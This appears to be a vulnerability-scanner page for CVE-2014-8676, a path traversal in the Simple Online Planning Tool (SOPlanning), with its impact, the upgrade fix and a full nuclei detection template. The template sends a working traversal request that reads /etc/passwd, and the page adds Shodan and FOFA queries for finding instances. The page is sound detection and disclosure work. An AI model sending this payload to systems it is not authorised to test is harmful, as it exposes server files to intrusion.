Simple Online Planning Tool <1.3.2 - Local File Inclusion

mediumseverity

5.3CVSS score

39.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SOPlanning <1.32 contain a directory traversal in the file_get_contents function via a .. (dot dot) in the fichier parameter.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Upgrade Simple Online Planning Tool to version 1.3.2 or higher to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-8676 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-8676

info:
  name: Simple Online Planning Tool <1.3.2 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: |
    SOPlanning <1.32 contain a directory traversal in the file_get_contents function via a .. (dot dot) in the fichier parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade Simple Online Planning Tool to version 1.3.2 or higher to fix the Local File Inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
    - https://www.exploit-db.com/exploits/37604/
    - http://seclists.org/fulldisclosure/2015/Jul/44
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8676
    - http://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2014-8676
    cwe-id: CWE-22
    epss-score: 0.39904
    epss-percentile: 0.98636
    cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: soplanning
    product: soplanning
    shodan-query: http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: cve2014,cve,packetstorm,edb,seclists,soplanning,lfi,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from